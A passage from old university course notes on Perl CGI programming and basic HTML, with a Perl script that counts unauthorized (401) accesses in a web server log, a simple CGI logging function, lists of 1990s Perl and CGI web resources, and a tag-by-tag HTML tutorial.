- Iterate over each line of the logfile.
- Parse the entry to extract the 11 items but only keep the site information and the status code that was requested.
- If the status code is 401 then save the increment the counter for that site.
- Close the log file.
- Check the site name to see if it has any entries. If not, display a message that says no unauthorized accesses took place.
- Iterate over the hash that holds the site names.
- Write out each hash entry in a report.

The Perl for `serchlog.pl` is as follows:

```
#!/usr/bin/perl -w


format =
  @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< @>>>>>>>
  $site,                                  $count
.


format STDOUT_TOP =
  @|||||||||||||||||||||||||||||||||||||  Pg @<
  "Unauthorized Access Report",             $%


  Remote Site Name                        Access Count
```

```
  ---------------------------------------- ------------
.


sub parseLogEntry {
    my($w) = "(.+?)";
    m/^$w $w $w \[$w:$w $w\] "$w $w $w" $w $w/;
    return($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11);
}




$LOGFILE = "access.log";
open(LOGFILE) or die("Could not open log file.");
foreach (<LOGFILE>) {
    ($site, $status) = (parseLogEntry())[0, 9];


    if ($status eq '401') {
        $siteList{$site}++;
    }
}
close(LOGFILE);


@sortedSites = sort(keys(%siteList));


if (scalar(@sortedSites) == 0) {
    print("There were no unauthorized access attempts.\n");
}
else {
    foreach $site (@sortedSites) {
        $count = $siteList{$site};
        write;
    }
}
```

This program displays:

```
Unauthorized Access Report        Pg 1
  Remote Site Name                         Access Count
  ---------------------------------------- ------------
  ip48-max1-fitch.zipnet.net                       1
  kairos.algonet.se                                4
```

You can expand this program's usefulness by also displaying the logName and fullName items from the log file.

dave@cs.cf.ac.uk

Existing Log File Analyzing Programs

Now that you've learned some of the basics of log file statistics, you should check out a program called Statbot, which can be used to automatically generate statistics and graphs. You can find it at:

`http://www.xmission.com:80/dtubbs/`

Statbot is a WWW log analyzer, statistics generator, and database program. It works by "snooping" on the logfiles generated by most WWW servers and creating a database that contains information about the WWW server. This database is then used to create a statistics page and GIF charts that can be "linked to" by other WWW resources.

Because Statbot "snoops" on the server logfiles, it does not require the use of the server's cgi-bin capability. It simply runs from the user's own directory, automatically updating statistics. Statbot uses a text-based configuration file for setup, so it is very easy to install and operate, even for people with no programming experience. Most importantly, Statbot is fast. Once it is up and running, updating the database and creating the new HTML page can take as little as 10 seconds. Because of this, many Statbot users run Statbot once every 5-10 minutes, which provides them with the very latest statistical information about their site.

Another fine log analysis program is AccessWatch, written by Dave Maher. AccessWatch is a World Wide Web utility that provides a comprehensive view of daily accesses for individual users. It is equally capable of gathering statistics for an entire server. It provides a regularly updated summary of WWW server hits and accesses, and gives a graphical representation of available statistics. It generates statistics for hourly server load, page demand, accesses by domain, and accesses by host. AccessWatch parses the WWW server log and searches for a common set of documents, usually specified by a user's root directory, such as /username/ or /users/username. AccessWatch displays results in a graphical, compact format.

If you'd like to look at *all* of the available log file analyzers, go to Yahoo's Log Analysis Tools page: http://www.yahoo.com/Computers_and_Internet/Internet/World_Wide_Web/HTTP/Servers/Log_Analysis_Tools/

This page lists all types of log file analyzers-from simple Perl scripts to full-blown graphical applications.

---

dave@cs.cf.ac.uk

Creating Your Own CGI Log File

It is generally a good idea to keep track of who executes your CGI scripts. You've already been introduced to the environment variables that are available within your CGI script. Using the information provided by those environment variables, you can create your own log file.

The `cgilog.pl` code does ths as follows:

- Turn on the warning option.
- Define the *`writeCgiEntry()`* function.
- Initialize the log file name.
- Initialize the name of the current script.
- Create local versions of environment variables.
- Open the log file in append mode.
- Output the variables using ! as a field delimiter.
- Close the log file.
- Call the *`writeCgiEntry()`* function.
- Create a test HTML page.

The code for `cgilog.pl` is:

```
#!/usr/bin/perl -w


sub writeCgiEntry {
    my($logFile) = "cgi.log";
    my($script)  = __FILE__;
    my($name)    = $ENV{'REMOTE_HOST'};
    my($addr)    = $ENV{'REMOTE_ADDR'};
    my($browser) = $ENV{'HTTP_USER_AGENT'};
    my($time)    = time;


    open(LOGFILE,">>$logFile") or die("Can't open cgi log file.\n");
    print LOGFILE ("$script!$name!$addr!$browser!$time\n");
    close(LOGFILE);
}


writeCgiEntry();
```

```
# do some CGI activity here.


print "Content-type: text/html\n\n";
print "<HTML>";
print "<TITLE>CGI Test</TITLE>";
print "<BODY><H1>Testing!</H1></BODY>";
print "</HTML>";
```

Every time this script is called, an entry will be made in the CGI log file. If you place a call to the `writeCgiEntry()` function in all of your CGI scripts, after a while you will be able perform some statistical analysis on who uses your CGI scripts.

---

dave@cs.cf.ac.uk

Internet Resources

Here we list some of the resources that can take you to the next level of understanding. You can see which Usenet newsgroups are best to read, where to find Perl scripts that you can copy and modify for your own use, and other useful information.

First, some Web sites you can visit are listed. They have useful Web, CGI, and Perl related libraries, sample scripts, and documentation that can be extremely helpful.

IMPORTANT NOTE

There is a massive resource of Perl related information on the Web If you are new to Perl and/or CGI programming with Perl, you will want to visit each of these sites listed here and also search the Web for many more. Doing this will give you a good understanding of what is available to help you become a great CGI programmer. As you visit the sites, keep track of useful files that can be downloaded that interest you, including their version and the date. You might also bookmark the site in your Web browser. When you are done visiting all the sites, you will know where to access the most recent of the tools and you can begin to download and build your own CGI development library.

Next, you can read about Usenet, a service that uses news articles to deliver information. You can browse through the newsgroups and pick up useful information. Additionally, any time you have a question on Perl or CGI programming you can post the question to a newsgroup. Responses to questions are usually quick if your subject lines are well thought-out and descriptive.

- Web Sites
- Usenet Newsgroups

---

dave@cs.cf.ac.uk

Web Sites

The following sites are good places to visit to build up your Perl or CGI script library. In addition, the sites will begin to give you an exact idea of what already exists that you can use, or modify for your own use. You will be amazed at what is available that is either freeware or shareware.

The Perl Language Home Page

-- *http://www.perl.com*. A major source of information

The Perl Institue

- *http://www.perl.org/*. Another excellent place to start off Perl Web explorations.

Perlfect Solutions

-- *http://perlfect.com/*: Lots of scripts modules etc for lots of Perl solutions

Pearls of Wisdom by Larry Wall

-- *ftp://convex.com/pub/perl/info/lwall-quotes*

Larry Wall is the inventor of Perl. His admirers have created this web page to commemorate some of Larry's wittier comments.

Yahoo

-- *http://www.yahoo.com* One of the best places to begin a search for information or for files is at Yahoo. This is one of the better organized and comprehensive search sites on the Web.

Type a keyword (Try Perl) into the input box and click the Search button to search the Yahoo database.

Yahoo has separate categories for Perl and CGI. The Perl Web page is:

http://www.yahoo.com/Computers_and_Internet/Programming_Languages/Perl/

And the CGI page is:

http://www.yahoo.com/Computers_and_Internet/Internet/World_Wide_Web/CGI

The CGI.pm Module

-

http://www-genome.wi.mit.edu/ftp/pub/software/WWW/cgi_docs.html

`CGI.pm` is a module that provides powerful functions for performing HTML form and CGI programming with Perl. This library requires Perl 5.001m, and makes use of object-oriented techniques. This is a must for your Perl bookmark list.

Selina Sol's CGI Script Archive

http://www2.eff.org/erict/Scripts/

This attractive and very useful site contains links to many fairly sophisticated CGI scripts.

The Web Developer's Virtual Library

-- *http://www.stars.com*

This site is a very comprehensive resource that the site terms a "Web developer's encyclopedia." There are many tutorials on HTML, CGI, HTTP, Databases, and Style Guidelines. This site is an incredibly rich source of links to virtually any Web development-related topic you can think of.

Introduction to CGI

-- *http://www.virtualville.com/library/cgi.html*

This site explains how the CGI specification works and provides a nice set of link to other resources.

Perl for Win32

-- *http://www.perl.hip.com/ - home page* An advanced and stable Perl implementation for Windows 95 and Windows NT.

- *http://www.perl.hip.com/PerlFaq.htm* - FAQ
- *http://www.perl.hip.com/perlis.htm* - DLL for MS IIS

Randal L. Schwartz's Home Page

-- *http://www.teleport.com/merlyn/* Randal is one of the most knowledgeable Perl gurus. His home page has links to some of the columns that he wrote for the *Web Techniques* and *UNIX Review* magazines.

Dale Bewley's Perl Scripts and Links] -- These web pages are very nicely laid out. They contain sections on books, references, tutorials, and script archives.

- *http://www.engr.iupui.edu/dbewley/perl/ - Perl information*
- *http://www.engr.iupui.edu/dbewley/cgi/ - CGI information*

Matt's Script Archive

-- *http://www.worldwidemart.com/scripts/*

Matt Wright's scripts are turning up all over the Web. His Perl page has examples of guestbooks, counters, and simple search scripts.

The Comprehensive Perl Archive Network

-- *http://www.perl.com/CPAN*

The Comprehensive Perl Archive Network is a set of Web sites that mirror another. The network is a volunteer organization so don't expect a lot of documentation and hand-holding. At each site, there is a sub-directory labeled `/modules` which will contain references to various Perl modules that are stored there.

Database API for Perl

-- *http://www.hermetica.com/technologia/DBI/index.html - DBperl home page* Tim Bunce, the author of Dbperl says, "DBperl is a database access Application Programming Interface (API) for the Perl Language. The DBperl API Specification defines a set of functions, variables and conventions that provide a consistent database interface independent of the actual database being used." With DBperl you can access the following databases: Oracle, Sybase, mSQL, Informix, and Quickbase. Plans are currently underway to implement an interface for ODBC.

The cgi-lib.pl Home Page

-- *http://www.bio.cam.ac.uk/cgi-lib/*

This famous library is widely used by many Perl/CGI programmers. The library includes functions such as `ReadParse()` which will parse the data passed to the script from the form, or `HtmlTop()` and `HtmlBot()` which will print out specific <head> and end of <body> sections of an HTML document.

Caution Before using this library, read information on the http://perl.com/perl/info/www/!cgi-lib.html Web page for a cogent set of reasons why you should use the `CGI.pm` module instead.

The CGI Collection

-- *http://www.selah.net/cgi.html*

This site has a set of scripts, some created with Perl and some created with C.

HTML Form Processing Modules (HFPM) Home Page

-- The HFPM is a set of modules written to accept a submitted HTML form, possibly modify the contents of the submitted fields, and output the result using e-mail, appending to a file, and/or displaying it to the user or returning an arbitrary URL. They also operate on the environmental variables passed in from the client and server.

You will need perl5 and a UNIX-based system to use the modules listed at this site, and a copy of `CGI.pm`, mentioned previously.

MacPerl

-- *http://err.ethz.ch/ñeeri/macintosh/perl.html* - *home page* Apple computers can also run Perl.

- *http://www.unimelb.edu.au/ssilcot/macperl/primer/home.html*

  -- tutorial
- *http://www.marketspace.com.au/ãdam/* - scripts
- *ftp://ftp.netcom.com/pub/ha/hal/MacPerl/faq.html* - FAQ

CGI Scripts and HTML Forms

-- *http://kufacts.cc.ukans.edu/info/forms/forms-intro.html*

This site contains a nice little introduction to CGI and forms. Not only does it describe the process, it also provides graphics that demonstrate how HTML Forms/CGI interact

The CGI Documentation by ncSA

-- *http://hoohoo.ncsa.uiuc.edu/docs/cgi/*

If you want to learn something, sometimes you just have to go back to the source. This site provides a CGI overview. It also includes tips on writing secure CGI scripts, a topic that must always concern CGI programmers.

The basic Perl manual

can be found at: *http://www.atmos.washington.edu/perl/perl.html*

The University of Florida Perl page

can be found at: *http://www0.cise.ufl.edu/perl/*

par

---

 dave@cs.cf.ac.uk

A Quick Quide to HTML

- Basic HTML Programming
  - HTML
  - Hypertext Terminology
  - Creating HTML Documents
  - Learning HTML
  - Anatomy of Any HTML Document
  - HTML Tags
    - Basic HTML Page Structure
  - Summary of Basic HTML Tags
  - Bare-bones example of HTML
  - Basic HTML Coding
    - Head elements
  - The Body Element
  - Headings
  - Paragraphs
  - Comments
  - Links and Anchors
    - Linking to Other Documents
  - Relative, Absolute and remote Links
    - Anchors
  - Lists
    - Unordered or Bulleted lists
    - Ordered or Numbered lists
    - Glossary or Definition Lists
    - Nesting Lists
  - Preformatted Text
  - In-Line Images

- External Images, Sounds, Video
- Things to remember when HTML programming

- Text Formatting with HTML
  - Logical Character Formatting
  - Physical Character formatting
  - Special Characters
  - Horizontal rules and Line breaks
  - Fonts and Font Sizes
- Recommended Reading

---

dave@cs.cf.ac.uk

Basic HTML Programming

- HTML
- Hypertext Terminology
- Creating HTML Documents
- Learning HTML
- Anatomy of Any HTML Document
- HTML Tags
  - Basic HTML Page Structure
- Summary of Basic HTML Tags
- Bare-bones example of HTML
- Basic HTML Coding
  - Head elements
- The Body Element
- Headings
- Paragraphs
- Comments
- Links and Anchors
  - Linking to Other Documents
- Relative, Absolute and remote Links
  - Anchors
- Lists
  - Unordered or Bulleted lists
  - Ordered or Numbered lists
  - Glossary or Definition Lists
  - Nesting Lists
- Preformatted Text
- In-Line Images
- External Images, Sounds, Video

- Things to remember when HTML programming

---

dave@cs.cf.ac.uk

HTML

HTML stands for *Hypertext Markup Language*.

HTML files are basically special text files:

- Contain special control sequences or *tags* that control how text is to be formatted.
- HTML files are the ``source code'' for Web Browsers
  - A browser reads the HTML file and
  - Tries to display it using the tags to control layout.

Tags exist to control various display items:

- Titles
- Heading Levels
- Styles of font (*e.g* Bold, Italic)
- Lists and list items
- Hypertext links to other URLs and files.

---

dave@cs.cf.ac.uk

Hypertext Terminology

Below is listed some common terms you will need to become familiar with:

Page

- Refers to a single HTML file. Sometimes referred to as a document

Home page

- Refers to a designated entry point for access to a local web

Hot spot

- A region of displayed hypertext that, when selected, links the user to another location

web

- A set of hypertext pages considered to be a single work

Web or WWW

- the union of all hypertext on all Web servers worldwide

---

dave@cs.cf.ac.uk

Creating HTML Documents

HTML files are Plain text (ascii) format, created using any text editor.

Many WYSIWYG HTML editors exist, *e.g.* Claris Home Page, Macromedia Dreamweaver. Netscape Communicator also has a built in editor.

It is however recommended that you at least learn the basics of HTML tagging before you dive into WYSIWYG editing as this mask the programming issues and ultimately hinders the learning process.

---

dave@cs.cf.ac.uk

Learning HTML

There are several good text books on HTML -- see books listing

Recommended Books List

There are several ONLINE resources that are worth checking out.

HTML Writer's Guild Use URLs
http://www.hwg.org/resources/useful.html
HTML Writer's Guild Use URLs
http://www.hwg.org/resources/html/references.html
Suzanne Cook's Quick Tutorial on Creating Web Pages
(A brief, easy beginner's guide.)
http://cs.weber.edu/tutorial/

The World Wide Web Consortium (W3C)

> Site of the organization which determines the standards of HTML. Some of the information gets technical but it is an invaluable resource in the long run.

Beginner's Guide to HTML

> Up to date guide on HTML. Can Download site in various formats.

A Beginner's Guide to HTML Home pages

> Very basic introduction and tutorial. A very detailed and step by step site. Also includes section on publishing a document to the Web.

How do they do that with HTML?

> More of a tip's and tricks site, offers a good explanation of graphics and HTML

HTML for the Conceptually Challenged

> HTML tutorial that uses "laymen's" terms to describe HTML tags and concepts

HTML Hints and Tips

> Very Good guide to layout and structure of an HTML document. Includes sections on URL's and other terms.

HTML Questions and Answers

> Basically a FAQ (Frequently Asked Questions). Provides answers for specific problems.

Index DOT HTML: the Advanced HTML reference

> One of best HTML sites around. Offers history, broswerisms, and full information on the latest tags. Includes coverage of things like Dynamic HTML and CSS (Cascading Style Sheets)

HTML Quick Reference (Including Explorer and Netscape Extensions)

> More of a reference guide than an introduction it contains a list of tags and their definitions.

Covers HTML 3.2 as well as Explorer and Netscape proprietary tags

Netscape's HTML Reference Guide

HTML Reference Guide by Netscape. Offers comprehensive information and a full index of pages. Large site is not convenient to download manually though.

WDVL: Hypertext Markup Language

One of best out there. Covers all HTML including the newest additions such as dynamic HTML. Also has a large links section.

Standard 3.2 (Wilbur)
HTML 3.2 reference, by Arnoud "Galactus" Engelfriet and company. Very nice, quite complete, and very readable 3.2 reference. Also available as a single 260k downloadable file.
http://www.htmlhelp.com/reference/wilbur/

Quick Reference for Standard 3.2 (Wilbur)
Kevin Werbach's Barebones Guide to HTML with 3.2 tags
(Also available as a downloadable text file)
http://werbach.com/barebones/

The Official W3C page on Standard 3.2 (Wilbur)
http://www.w3.org/pub/WWW/MarkUp/Wilbur/

Standards 2.0, 3.0 and many extensions
The always helpful Sandia Reference Manual
http://www.sandia.gov/sci_compute/elements.html

The Web Developer's Virtual Library at www.stars.com
(includes browser, server, and CGI references, too)
http://www.stars.com/Vlib/

The Top Ten Mistakes in Web Design (Jacob Nielsen's Alert Box, May 1996)
http://www.useit.com/alertbox/9605.html

The O'Reilly dictionary: very helpful and quite complete dictionary of Internet/Web terms.
http://www.ora.com/reference/dictionary/

And one that's specific to the Web:
World Wide Web Acronym and Abbreviation List:
http://www.ucc.ie/info/net/acronyms/acro.html

HTML Goodies from Joe Burns. The HUH? Tutorials.
Forms, CGI, and a whole lot more
http://www.htmlgoodies.com/

The Best Way to Learn HTML

The best way to learn HTML is by example.

You can read many books but practice, writing your own HTML pages and learning from example WWW pages on line is the best way to learn tips and constructs.

You can use Netscape to help in this matter:

- Find a Web page you like or wish to learn how it is formatted.
- Make sure this Web page is currently being viewed by Netscape.
- You can view the WWW page by selecting the *Page Source* item from the **View** Menu.

Figure: View HTML Source of a Web Page

- Compare the HTML with the browser display of the Page.
- Portions of the file may be selected with the mouse (click and drag mouse) and then Copied and Pasted into other documents.

Entire Web pages may also be saved to disk by

- Selecting the *Save As...* option from the **File** Menu.
- Choosing **Source** Format option and clicking on **Save** button.

Figure: Saving HTML Source of a Web Page

- The **Text** Format Option provides a useful way of downloading HTML files and saving them as text for use in other documents (Although you can Copy and Paste directly from the Browser window for portions of Text).

---

 dave@cs.cf.ac.uk

Anatomy of Any HTML Document

Every HTML document consists of two elements:

- Head elements -- provides page title and general page formatting commands
- Body elements -- put the main HTML text in this part.

---

dave@cs.cf.ac.uk

HTML Tags

All HTML commands or tags have the following form:

<name_of_tag>...</name_of_tag>

Tags control the structure, formatting and hypertext linking or HTML pages.

Tags are made active by <name_of_tag> and must be made inactive by an associated </name_of_tag>.

HTML is not case sensitive -- tags can be upper or lower case letters (even mixtures of cases).

- Basic HTML Page Structure

---

dave@cs.cf.ac.uk

Basic HTML Page Structure

We can now meet or first three HTML tags `html, head` and `body`

Note that these specify the basic anatomy of every HTML page.

```
<html>
<head>
head elements go here
</head>
<body>
body elements go here
</body>
</html>
```

- `<html>` is the first tag of any HTML page. It indicates that the contents of the page is in HTML.

---

dave@cs.cf.ac.uk

Summary of Basic HTML Tags

Head Elements

- Marks properties of entire document
- Marked with `<head>`
- Includes title `<title>` tag
- Ended with `</head>`

Body Elements

- Marked with `<body>`
- Header levels `<h1>, <h2>, <h3>,` etc.
- Anchors `<a href= "http://www.cs.cf.ac.uk²>Link text</a>`
- Paragraph indicators `<p>`
- Line breaks `<br>`
- Horizontal line `<hr>`
- Address tags `<address>`|
- Blockquote style `<blockquote>`

Within a body text may be organised in variety of ways:

Lists

- Unordered `<ul>` with `<li>` (list item)
- Ordered `<ol>` with `<li>`
- Definition `<dl>` with `<dt>` and `<dd>`
- Menu `<menu>` with <li>|
- Short `<dir>` with <li>|

Preformatted text

- `<pre>`

Character formatting (physical)

- Bold `<b>`
- Italics `<i>`
- Underline `<u>`
- Fixed width `<tt>`

Character formatting (logical)

- Strong `<strong>`

- Variable name `<var>`
- Citation `<cite>`

Graphics

- In-line images `<img src=³image.gif²>`
- Include alt=³ ³ for browsers that can¹t display graphics, *e.g.*

  `<img src=³image.gif² alt=³Image GIF²>`

Entities

- Character strings that represent special symbols, e.g.
- &amp for ``&``
- &gt for ``>``
- &quot for double quote (``)

---

 dave@cs.cf.ac.uk

Bare-bones example of HTML

```
<html>
<head>
<title> The simplest HTML example
</title>
</head>
<body>
<h1> This is  an HTML Page </h1>
</body>
</html>
```

Which Looks like this when viewed through a browser:

Figure:Simplest HTML page

```
<html>
<head>
<title> Another simple HTML example
</title>
</head>
<body>
<h1> This is a level-one heading </h1>

Welcome to the world of HTML.
<p>
This is one paragraph.
</p>
<p>
This is a second paragraph.
</p>
</body>
</html>
```

Which Looks like this when viewed through a browser:

Figure:Another simple HTML example

dave@cs.cf.ac.uk

Basic HTML Coding

- Head elements

---

dave@cs.cf.ac.uk

Head elements

- `<head>....</head>` tag delimits head part of document.
- `<title>....</title>` Defines the title of the Web page.
- Ever Web page should have a `title`
  - Displayed as Title of Netscape Window
  - Used in Bookmarks or Hot lists to identify page
  - Make title succinct but meaningful
  - Only one title per page
  - Only plain text in title (no other tags).
  - Other head items will be met later.

---

dave@cs.cf.ac.uk

The Body Element

- `<body>....</body>` tag delimits body part of document.
- All other commands that constitute web page *nested* inside body.
- `Body` must follow `head`.

---

dave@cs.cf.ac.uk

Headings

- Headings are used to title sections and subsection of a document.
- HTML has 6 levels of headings labelled `h1, h2, ..., h6`.
- The first heading should be `<h1>`. item In many documents the first heading is the same as the title.
- Headings are displayed in larger/bolder fonts than normal body text.
- Increment headings linearly -- do not skip.

Example of HTML headings:

```
<html>
<head>
<title> HTML Heading Levels
</title>
</head>


<body>
<h1> This is a level 1 heading </h1>

<p>
This is not a heading. It is a paragraph.
</p>
<h2> This is a level 2 heading </h2>
<h3> This is a level 3 heading </h3>
<h4> This is a level 4 heading </h4>
<h5> This is a level 5 heading </h5>
<h6> This is a level 6 heading </h6>
</body>
</html>
```

Which Looks like this when viewed through a browser:

Figure:HTML Heading Levels

Paragraphs

- `<p> ....</p>` tag delimts a paragraph.
- HTML ignores most carriage returns in a file.
- Text is wrapped until a `<p>` or `</p>` encountered.
  - HTML assumes that is a `<p>` is encounterd before a `</p>` then a paragraph should be inserted.
- Paragraphs can be aligned -- `LEFT, CENTER, RIGHT` - with the `ALIGN` attribute via

  `<p align=center>`

```
<p align>
<!-- THIS IS A COMMENT -->
<!-- Default alignement is left -->
Left aligned paragraph
</p>

<p align = center>

Center aligned paragraph
</p>

<p align = right>

right aligned paragraph
</p>
```

Which looks like this when viewed through a browser:

Left aligned paragraph

Center aligned paragraph

right aligned paragraph

Figure: HTML Paragraphs

---

dave@cs.cf.ac.uk

Comments

The last example sneaked in HTML comments these are delimited by `<!-- ..... -->`

Comments never show up on screen

Use comments just like you would in any other programming language.

---

dave@cs.cf.ac.uk

Links and Anchors

- Linking to Other Documents

---

dave@cs.cf.ac.uk

Linking to Other Documents

Regions of text can be linked to other documents via the `<a>` tag which has the following format:

`<a href=``filename_or_URL''> link text </a>`

- The opening `<a>` tag has a `href` attribute that is used to specify the link to URL or local file.
- Text between the `<a>` and `</a>` (closing tag) is highlighted by the browser to indicate the hyperlink.

There are different types of links.

For example:

```
My <a href="index.html">Internet
Computing home  page</a>
using a relative link.

My <a href="/Dave/Internet/index.html">
Internet  Computing home page</a>
 using an absolute link.

My <a href="
http://www.cs.cf.ac.uk/Dave/
Internet/index.html">Internet Computing
home page</a> using an remote link.
```

They all link to same web page but in a different way:

My Internet Computing home page using a relative link.

My Internet Computing home page using an absolute link.

My Internet Computing home page using an remote link.

---

dave@cs.cf.ac.uk

Relative, Absolute and remote Links

There is a subtle and very important between the links in the previous example:

Relative links

refer to a page that exists in the current directory that he browser points to.

- sub-directories and included files can be specified in the relative link.
- Makes for very portable web pages. Whole directory systems can be moved easily.

Absolute links

reference files based on the absolute location on the local file system.

- absolute links always begin with a `/`

Remote links

reference files based on the absolute location on complete URL.

- Files on local disks may be accessed via the `file` IPtype in the URL. *E.g.* `file://Maclab/Internet/Netscape/index.html`

- Anchors

---

dave@cs.cf.ac.uk

Anchors

Anchors are special places within documents that can be linked to.

- Anchors are created anywhere in a document with

  ```
  <a name = "anchor_name">Anchor Position</a>
  ```

- Anchors **within the same document** are referred to by

  ```
  <a href = "#anchor_name">Go to anchor</a>
  ```

- Anchors **in the external document** are referred to by

  ```
  <a href = "link#anchor_name">
  ```

  where `link` may a relative, absolute or remote URL link.

Therefore given this page of Html

We will Jump back here soon

```
<a name = "top_anchor"> We will Jump back here soon</a>

Some HTML CODE

<h2>A Header</h2>

<p> A Paragraph .............
...........<br>
...........<br>

...........<br>

...........<br>
</p>

<p> A Paragraph  or two.............
...........<br>
...........<br>

...........<br>

...........<br>
</p>

<a href =#top_anchor>Click here to go back to top_anchor anchor</a>
```

which looks like this in HTML

Some HTML CODE

A Header

A Paragraph ....
.....
.....
.....

A Paragraph or two..... .....
.....
.....
.....

Click here to go back to top_anchor anchor

And to link to links in another document: Click here to see other document in html. Click here to see other document in html source (text).

HTML code to link to other anchors in the other document, `Jarrett.html`, is as follows

Full HTML Link page is also here

```
<H1>Jazz: J</H1>
<H2>Jazz Piano</H2>
<UL>
<LI>Keith Jarrett, <EM>Koln Concert</EM> <EM>See Also</EM> <A
HREF="Jarrett.html#koln">Jarrett#koln</A>
<LI>Keith Jarrett, <EM>Vienna Concert</EM> <EM>See Also</EM> <A
HREF="Jarrett.html#vienna">Jarrett#vienna</A>
<LI>Ahmad Jahmal, <EM>Africa Suite</EM>

</UL>
```

which looks like this (follow links to see anchors work).

Jazz: J

Jazz Piano

- Keith Jarrett, *Koln Concert See Also* Jarrett#koln
- Keith Jarrett, *Vienna Concert See Also* Jarrett#vienna
- Ahmad Jahmal, *Africa Suite*

dave@cs.cf.ac.uk

Lists

HTML supports a variety of lists.

- Unordered or Bulleted lists
- Ordered or Numbered lists
- Glossary or Definition Lists
- Nesting Lists

---

dave@cs.cf.ac.uk

Unordered or Bulleted lists

- `<ul> ... </ul>` delimits list.
- `<li>` indicates list items. No closing `</li>` is required.

For Example:

```
<ul>
<li> apples.
<li> bananas.
</ul>
```

Which looks like this when viewed through a browser:

- apples.
- bananas.

Figure:Unordered List

---

dave@cs.cf.ac.uk

Ordered or Numbered lists

- `<ul> ... </ul>` delimits list.
- `<li>` indicates list items. No closing `</li>` is required.

For Example

```
<ol>
<li> apples.
<li> bananas.
</ol>
```

1. apples.
2. bananas.

Figure: Ordered List

---

dave@cs.cf.ac.uk

Glossary or Definition Lists

- `<dl> ... </dl>` delimits list.
- Each list item has two parts: a *term* and a *definition*.
- `<dt>` indicates the term in the list item, `<dd>` indicates the definition. No closing `</dt>`, `</dd>` is required.

For Example:

```
<dl>
<dt> apples <dd> A fruit usually green
and/or red.
<dt> bananas <dd> A yellow fruit.
</dl>
```

which when viewed in browser looks like:

apples
: A fruit usually green and/or red.

bananas
: A yellow fruit.

Figure: Glossary List

---

dave@cs.cf.ac.uk

Nesting Lists

Lists of the same or different type may be nested in any number of ways. For Example:

```
<ul>
<li> Some fruit:
   <ul>
   <li> bananas.
   </ul>
<li>  Some more fruit
   <ul>
   <li> oranges.
   </ul>
</ul>
```

which when viewed in browser looks like:

- Some fruit:
  - bananas.
- Some more fruit
  - oranges.

Figure: Simple Nested Lists

---

dave@cs.cf.ac.uk

Preformatted Text

The <PRE> tag generates text in a fixed width font and causes spaces, new lines and tabs to be significant. Often used for program listings.

Example:

```
<pre>
   This is preformatted       text.

New lines, spaces etc. are
significant.
</pre>
```

which when viewed in browser looks like:

```
   This is preformatted       text.

New lines, spaces etc. are
significant.
```

Figure: Preformatted Text

---

dave@cs.cf.ac.uk

In-Line Images

Most browsers can display in-line images that are in JPEG or GIF format. Use the `img` tag with `src` attribute to include an image in you HTML page:

<img src=image_link>

where image_link is the the relative, absolute or remote URL link of the image file.

Example:

```
<p align = center>
An image mixed in with text <br>

<img src="Images/gromit.gif" align=middle
alt="wallace and gromit">
</p>
```

Which looks like this when viewed from a browser:

An image mixed in with text

wallace and gromit

In-line Image and Text

- Include `alt=``replacement''` attribute for browsers that can't display graphics.

---

dave@cs.cf.ac.uk

External Images, Sounds, Video

External Images will be loaded into their own page. The `href` field within the `anchor` tag is used.

These are easily included by using

<a href=``*image_url*">link anchor</a>

<a href=``*video_url*">link anchor</a>

<a href=``*audio_url*">link anchor</a>

Example:

Example image.

Example Quicktime video.

Example audio.

More on using Images, Sounds, Video this later in the course.

---

dave@cs.cf.ac.uk

Things to remember when HTML programming

- Make sure < and > match up
- Make sure `<tag>` and `</tag>` match up
- Not all browsers display information the same way
  - Netscape is most advanced
  - Lynx displays no graphics
- Relative vs. Absolute links
  - If your html document is `top.html` and you refer to another document in the same directory, you need only specify the file name and not the entire path

---

dave@cs.cf.ac.uk

Text Formatting with HTML

- Logical Character Formatting
- Physical Character formatting
- Special Characters
- Horizontal rules and Line breaks
- Fonts and Font Sizes

---

dave@cs.cf.ac.uk

Logical Character Formatting

Logical HTML Styles indicate the way text is used. For example Emphasis, Citation, Definition.

The following HTML tags are examples:

- Emphasis `<em>`
- Strong emphasis `<strong>`
- Code `<code>` -- fixed width (*Courier*) font.
- Variable name `<var>`
- Definition `<dfn>`
- Citation `<cite>`
- Address `<address>`

HTML examples of the above

- Emphasis

  ```
  <em>
  This is emphasised
  </em>
  ```

  which looks like this in HTML

  This is emphasised
- Strong This is

  ```
  <strong>
  This is Strong This is
  </strong>
  ```

  which looks like this in HTML

  This is Strong This is
- Code

  ```
  <code>
  begin

  for i:= 1 to N
  </code>
  ```

  which looks like this in HTML

```
begin for i:= 1 to N
```

- Variable name

```
<var>
my_var_name = 2;
</var>
```

which looks like this in HTML

my_var_name = 2;

- Definition

```
<dfn>
By definition  this the dfn logical style
</dfn>
```

which looks like this in HTML

dave@cs.cf.ac.uk Dr. A.D. Marshall

- Citation

```
<cite>
Internet Computing Notes, Marshall 1997
</cite>
```

which looks like this in HTML

dave@cs.cf.ac.uk Dr. A.D. Marshall

- Address

```
<address>
dave@cs.cf.ac.uk Dr. A.D. Marshall
</address>
```

which looks like this in HTML

dave@cs.cf.ac.uk Dr. A.D. Marshall

Physical Character formatting

Physical style tags indicate exactly how text is to formatted. For example Bold, Underline.

The following HTML tags are examples:

- Bold `<b>`
- Italics `<i>`
- Underline `<u>`
- Fixed width `<tt>`
- Strike Through `<s>`
- Bigger print `<big>`
- Smaller print `<small>`
- Subscript `<sub>`
- Superscript `<sup>`

Examples of these tag in use:

- Bold

  ```
  <b>
  This is bold text.
  </b>
  ```

  which looks like this in HTML

  This is bold text.
- Italics

  ```
  <i>
  This is italic text.
  </i>
  ```

  which looks like this in HTML

  This is italic text.
- Underline

  ```
  <u>
  This is text is underlined.
  </u>
  ```

  which looks like this in HTML

This is text is underlined.

- Fixed width

```
<tt>
This is fixed width text.
</tt>
```

which looks like this in HTML

`This is fixed width text.`

- Strike Through

```
<s>
This is text is struck through.
</s>
```

which looks like this in HTML

~~This is text is struck through.~~

- Bigger print

```
This is normal text.
<big>
This is bigger text.
</big>
```

which looks like this in HTML

This is normal text. This is bigger text.

- Smaller print

```
This is normal text.
<small>
This is smaller text.
</small>
```

which looks like this in HTML

This is normal text. This is smaller text.

- Subscript

```
X<sub>1</sub> is subcripted (1).
```

which looks like this in HTML

X_1 is subscripted (1).

- Superscript

```
X<sup>2</sup>. the squared (2) is superscripted.
```

which looks like this in HTML

X^{2}. the squared (2) is superscripted.

Fractions can be made up with Sub/Superscripts. For example:

```
<sup>1</sup><sub>2</sub>
```

gives

